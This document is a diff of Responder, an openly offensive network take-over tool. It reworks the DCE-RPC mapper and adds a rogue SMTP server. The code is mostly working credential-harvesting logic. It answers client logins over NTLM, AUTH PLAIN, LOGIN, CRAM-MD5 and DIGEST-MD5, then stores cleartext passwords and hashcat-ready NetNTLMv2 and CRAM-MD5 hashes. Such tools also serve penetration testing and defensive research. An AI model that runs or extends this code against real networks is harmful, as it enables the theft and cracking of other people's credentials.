self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#WINSPOOL
|
||||
if NetworkSendBufferPython2or3(WINSPOOL) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SAMR:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SAMR, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SAMR auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SRVSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SRVSVC, Tower1Version="\x03\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SRVSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WKSSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WKSSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WKSSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WINSPOOL:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WINREG:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINREG, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINREG auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SVCCTL:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SVCCTL, Tower1Version="\x02\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SVCCTL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == ATSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=ATSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to ATSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == DNSSERVER:
|
||||
x = RPCMapBindMapperAns(Tower1UID=DNSSERVER, Tower1Version="\x05\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DNSSERVER auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == NETLOGON:
|
||||
# Don't redirect NETLOGON for now - we want NTLM not SecureChannel
|
||||
self.request.close()
|
||||
|
||||
#NetLogon
|
||||
if NetworkSendBufferPython2or3(NETLOGON) in data:
|
||||
self.request.close()
|
||||
# For now, we don't want to establish a secure channel... we want NTLM.
|
||||
|
||||
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
#x.calculate()
|
||||
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
#RPC.calculate()
|
||||
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
#data = self.request.recv(1024)
|
||||
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
return
|
||||
|
||||
# Try to receive more data
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if data and FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] Exception in RPCMap: %s' % str(e)))
|
||||
pass
|
||||
|
||||
finally:
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
class RPCMapper(BaseRequestHandler):
|
||||
"""RPCMapper handler - Handles actual RPC service connections"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if not data:
|
||||
return
|
||||
|
||||
self.request.settimeout(3)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
|
||||
# Look for NTLMSSP NEGOTIATE
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
# Wait for NTLMSSP AUTH
|
||||
data = self.request.recv(2048)
|
||||
|
||||
# Look for NTLMSSP AUTH
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
self.request.close()
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
print(color("[*] [DCE-RPC Mapper] NTLM authentication from %s" % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
# Check if this is a BIND with auth
|
||||
elif data[0:3] == b"\x05\x00\x0b":
|
||||
uuid, name = FindInterfaceUUID(data)
|
||||
if name and settings.Config.Verbose:
|
||||
print(text('[DCE-RPC Mapper] Connection for %s from %s' % (name, self.client_address[0].replace("::ffff:", ""))))
|
||||
|
||||
# Check for NTLMSSP in BIND
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
|
||||
data = self.request.recv(2048)
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC Mapper] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC Mapper] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
|
||||
finally:
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -201,7 +201,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
break
|
||||
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
Buffer = b"\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
667
servers/SMTP.py
667
servers/SMTP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,7 +15,14 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from base64 import b64decode
|
||||
from base64 import b64decode, b64encode
|
||||
import hashlib
|
||||
import codecs
|
||||
import struct
|
||||
import re
|
||||
import ssl
|
||||
import os
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
@@ -23,59 +30,617 @@ else:
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
"""SMTP server with multiple authentication methods and STARTTLS"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.challenge = None
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def send_response(self, code, message):
|
||||
"""Send SMTP response"""
|
||||
response = "%d %s\r\n" % (code, message)
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_multiline_response(self, code, lines):
|
||||
"""Send multi-line SMTP response"""
|
||||
for i, line in enumerate(lines):
|
||||
if i < len(lines) - 1:
|
||||
response = "%d-%s\r\n" % (code, line)
|
||||
else:
|
||||
response = "%d %s\r\n" % (code, line)
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_continue(self, data=""):
|
||||
"""Send continuation response for AUTH"""
|
||||
if data:
|
||||
response = "334 %s\r\n" % data
|
||||
else:
|
||||
response = "334\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def upgrade_to_tls(self):
|
||||
"""Upgrade connection to TLS using Responder's SSL certificates"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] SSL certificates not found'))
|
||||
return False
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Successfully upgraded to TLS from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] TLS upgrade failed: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_plain(self, data):
|
||||
"""Handle AUTH PLAIN"""
|
||||
try:
|
||||
# AUTH PLAIN can be:
|
||||
# AUTH PLAIN <base64>
|
||||
# or
|
||||
# AUTH PLAIN
|
||||
# <base64>
|
||||
|
||||
auth_match = re.search(b'AUTH PLAIN (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
# Inline format
|
||||
auth_data = auth_match.group(1).strip()
|
||||
else:
|
||||
# Need to read next line
|
||||
self.send_continue()
|
||||
auth_data = self.request.recv(1024).strip()
|
||||
|
||||
if not auth_data or auth_data == b'*':
|
||||
return False
|
||||
|
||||
# Decode
|
||||
decoded = b64decode(auth_data)
|
||||
# Format: [authzid]\x00username\x00password
|
||||
parts = decoded.split(b'\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1].decode('latin-1', errors='ignore')
|
||||
password = parts[2].decode('latin-1', errors='ignore')
|
||||
elif len(parts) == 2:
|
||||
username = parts[0].decode('latin-1', errors='ignore')
|
||||
password = parts[1].decode('latin-1', errors='ignore')
|
||||
else:
|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'AUTH-PLAIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured AUTH PLAIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing AUTH PLAIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_login(self, data):
|
||||
"""Handle AUTH LOGIN (two-stage)"""
|
||||
try:
|
||||
# Check if username is inline
|
||||
auth_match = re.search(b'AUTH LOGIN (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
# Username provided inline
|
||||
username_b64 = auth_match.group(1).strip()
|
||||
username = b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
else:
|
||||
# Prompt for username
|
||||
self.send_continue(b64encode(b"Username:").decode('latin-1'))
|
||||
username_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not username_b64 or username_b64 == b'*':
|
||||
return False
|
||||
|
||||
username = b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Prompt for password
|
||||
self.send_continue(b64encode(b"Password:").decode('latin-1'))
|
||||
password_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not password_b64 or password_b64 == b'*':
|
||||
return False
|
||||
|
||||
password = b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'AUTH-LOGIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured AUTH LOGIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing AUTH LOGIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_cram_md5(self, data):
|
||||
"""Handle AUTH CRAM-MD5 (challenge-response)"""
|
||||
try:
|
||||
import time
|
||||
import os
|
||||
|
||||
# Generate challenge
|
||||
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
|
||||
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not response_b64 or response_b64 == b'*':
|
||||
return False
|
||||
|
||||
response = b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
# Format: username<space>digest
|
||||
parts = response.split(' ', 1)
|
||||
|
||||
if len(parts) < 2:
|
||||
return False
|
||||
|
||||
username = parts[0]
|
||||
digest = parts[1].lower()
|
||||
|
||||
# Format for hashcat
|
||||
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'CRAM-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured CRAM-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing CRAM-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_digest_md5(self, data):
|
||||
"""Handle AUTH DIGEST-MD5"""
|
||||
try:
|
||||
import time
|
||||
import os
|
||||
|
||||
# Generate nonce
|
||||
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
|
||||
|
||||
# Build challenge
|
||||
challenge_parts = [
|
||||
'realm="%s"' % settings.Config.MachineName,
|
||||
'nonce="%s"' % nonce,
|
||||
'qop="auth"',
|
||||
'charset=utf-8',
|
||||
'algorithm=md5-sess'
|
||||
]
|
||||
challenge = ','.join(challenge_parts)
|
||||
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not response_b64 or response_b64 == b'*':
|
||||
return False
|
||||
|
||||
response = b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Parse response
|
||||
username_match = re.search(r'username="([^"]+)"', response)
|
||||
realm_match = re.search(r'realm="([^"]+)"', response)
|
||||
nonce_match = re.search(r'nonce="([^"]+)"', response)
|
||||
cnonce_match = re.search(r'cnonce="([^"]+)"', response)
|
||||
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response)
|
||||
qop_match = re.search(r'qop=([a-z\-]+)', response)
|
||||
uri_match = re.search(r'digest-uri="([^"]+)"', response)
|
||||
response_match = re.search(r'response=([0-9a-fA-F]+)', response)
|
||||
|
||||
if not username_match or not response_match:
|
||||
return False
|
||||
|
||||
username = username_match.group(1)
|
||||
realm = realm_match.group(1) if realm_match else ''
|
||||
resp_nonce = nonce_match.group(1) if nonce_match else ''
|
||||
cnonce = cnonce_match.group(1) if cnonce_match else ''
|
||||
nc = nc_match.group(1) if nc_match else ''
|
||||
qop = qop_match.group(1) if qop_match else ''
|
||||
uri = uri_match.group(1) if uri_match else ''
|
||||
resp_hash = response_match.group(1)
|
||||
|
||||
# Format for hashcat/john
|
||||
hash_string = "%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s" % (
|
||||
username, realm, nonce, cnonce, nc, qop, uri, resp_hash
|
||||
)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'DIGEST-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': resp_hash,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured DIGEST-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
# Send rspauth (expected by some clients)
|
||||
rspauth = 'rspauth=' + resp_hash
|
||||
self.send_continue(b64encode(rspauth.encode('latin-1')).decode('latin-1'))
|
||||
|
||||
# Client should send empty line
|
||||
self.request.recv(1024)
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing DIGEST-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_ntlm(self, data):
|
||||
"""Handle AUTH NTLM with proper Type 2 challenge"""
|
||||
try:
|
||||
import time
|
||||
|
||||
# Check for inline NTLM NEGOTIATE
|
||||
auth_match = re.search(b'AUTH NTLM (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
negotiate_b64 = auth_match.group(1).strip()
|
||||
else:
|
||||
# Send empty continuation
|
||||
self.send_continue()
|
||||
negotiate_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not negotiate_b64 or negotiate_b64 == b'*':
|
||||
return False
|
||||
|
||||
negotiate = b64decode(negotiate_b64)
|
||||
|
||||
# Verify NTLMSSP signature
|
||||
if negotiate[0:8] != b'NTLMSSP\x00':
|
||||
return False
|
||||
|
||||
msg_type = struct.unpack('<I', negotiate[8:12])[0]
|
||||
if msg_type != 1: # Type 1 - NEGOTIATE
|
||||
return False
|
||||
|
||||
# Generate Type 2 with proper structure
|
||||
type2_msg = self.generate_ntlm_type2()
|
||||
challenge_b64 = b64encode(type2_msg).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive NTLMSSP AUTH (Type 3)
|
||||
auth_b64 = self.request.recv(2048).strip()
|
||||
|
||||
if not auth_b64 or auth_b64 == b'*':
|
||||
return False
|
||||
|
||||
auth_data = b64decode(auth_b64)
|
||||
|
||||
# Parse Type 3 and extract hash
|
||||
ntlm_hash = self.parse_ntlm_type3(auth_data, type2_msg)
|
||||
|
||||
if ntlm_hash:
|
||||
# Extract username from hash for logging
|
||||
username = ntlm_hash.split('::')[0]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': ntlm_hash,
|
||||
'fullhash': ntlm_hash,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured NTLMv2 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing NTLM: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def generate_ntlm_type2(self):
|
||||
"""Generate NTLM Type 2 with target info for NTLMv2"""
|
||||
import time
|
||||
|
||||
# Generate random 8-byte challenge
|
||||
challenge = RandomChallenge()
|
||||
|
||||
# Target name: "WORKGROUP" (18 bytes in UTF-16LE)
|
||||
target_name = b'WORKGROUP'.decode('ascii').encode('utf-16le')
|
||||
target_name_len = len(target_name)
|
||||
|
||||
# Build target info (AV pairs) for NTLMv2
|
||||
target_info = b''
|
||||
|
||||
# MsvAvNbDomainName (0x0002)
|
||||
av_domain = b'WORKGROUP'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0002, len(av_domain)) + av_domain
|
||||
|
||||
# MsvAvNbComputerName (0x0001)
|
||||
av_computer = b'SERVER'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0001, len(av_computer)) + av_computer
|
||||
|
||||
# MsvAvDnsDomainName (0x0004)
|
||||
av_dns_domain = b'workgroup'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0004, len(av_dns_domain)) + av_dns_domain
|
||||
|
||||
# MsvAvDnsComputerName (0x0003)
|
||||
av_dns_computer = b'server'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0003, len(av_dns_computer)) + av_dns_computer
|
||||
|
||||
# MsvAvTimestamp (0x0007) - 8 bytes FILETIME
|
||||
filetime = int((time.time() + 11644473600) * 10000000)
|
||||
target_info += struct.pack('<HH', 0x0007, 8) + struct.pack('<Q', filetime)
|
||||
|
||||
# MsvAvEOL (0x0000)
|
||||
target_info += struct.pack('<HH', 0x0000, 0)
|
||||
|
||||
target_info_len = len(target_info)
|
||||
|
||||
# Calculate offsets
|
||||
target_name_offset = 48
|
||||
target_info_offset = target_name_offset + target_name_len
|
||||
|
||||
# Build Type 2 message
|
||||
type2_msg = b'NTLMSSP\x00' # Signature
|
||||
type2_msg += struct.pack('<I', 2) # Type 2
|
||||
|
||||
# Target name (LE format: len, max len, offset)
|
||||
type2_msg += struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
|
||||
|
||||
# Flags - use HTTP server flags for compatibility
|
||||
type2_msg += b'\x05\x02\x81\xa2' # 0xa2810205
|
||||
|
||||
# Challenge (8 bytes)
|
||||
type2_msg += challenge
|
||||
|
||||
# Context (8 bytes, reserved)
|
||||
type2_msg += b'\x00' * 8
|
||||
|
||||
# Target info (LE format: len, max len, offset)
|
||||
type2_msg += struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
|
||||
|
||||
# Payload
|
||||
type2_msg += target_name
|
||||
type2_msg += target_info
|
||||
|
||||
return type2_msg
|
||||
|
||||
def parse_ntlm_type3(self, type3_msg, type2_msg):
|
||||
"""Parse Type 3 and extract NetNTLMv2 hash"""
|
||||
try:
|
||||
# Verify signature
|
||||
if type3_msg[:8] != b'NTLMSSP\x00':
|
||||
return None
|
||||
|
||||
# Verify message type
|
||||
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return None
|
||||
|
||||
# Parse security buffers
|
||||
# LM Response
|
||||
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
|
||||
|
||||
# NTLM Response
|
||||
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
|
||||
|
||||
# Domain name
|
||||
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
|
||||
|
||||
# User name
|
||||
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
|
||||
|
||||
# Workstation name
|
||||
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
|
||||
|
||||
# Extract strings
|
||||
if user_offset + user_len <= len(type3_msg):
|
||||
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
user = ""
|
||||
|
||||
if domain_offset + domain_len <= len(type3_msg):
|
||||
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
domain = ""
|
||||
|
||||
# DO NOT parse email addresses - use exact Type 3 fields for hashcat
|
||||
|
||||
if ws_offset + ws_len <= len(type3_msg):
|
||||
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
workstation = ""
|
||||
|
||||
# Extract NTLM response
|
||||
if ntlm_offset + ntlm_len <= len(type3_msg):
|
||||
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
else:
|
||||
return None
|
||||
|
||||
# Check if NTLMv2 (response length > 24 bytes)
|
||||
if len(ntlm_response) > 24:
|
||||
# NTLMv2
|
||||
ntlmv2_response = ntlm_response[:16] # First 16 bytes
|
||||
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
|
||||
|
||||
# Extract challenge from Type 2
|
||||
challenge = type2_msg[24:32] # Challenge is at offset 24
|
||||
|
||||
# Build hashcat NetNTLMv2 format
|
||||
# Format: username::domain:challenge:ntlmv2_response:blob
|
||||
# For hashcat mode 5600
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
codecs.encode(challenge, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlmv2_response, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlmv2_blob, 'hex').decode('latin-1')
|
||||
)
|
||||
|
||||
return hash_str
|
||||
|
||||
# NTLMv1 or unsupported
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
return None
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# Send greeting
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
|
||||
|
||||
# Handle EHLO
|
||||
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
|
||||
# Send ESMTP capabilities
|
||||
capabilities = [
|
||||
settings.Config.MachineName + " Hello",
|
||||
"STARTTLS",
|
||||
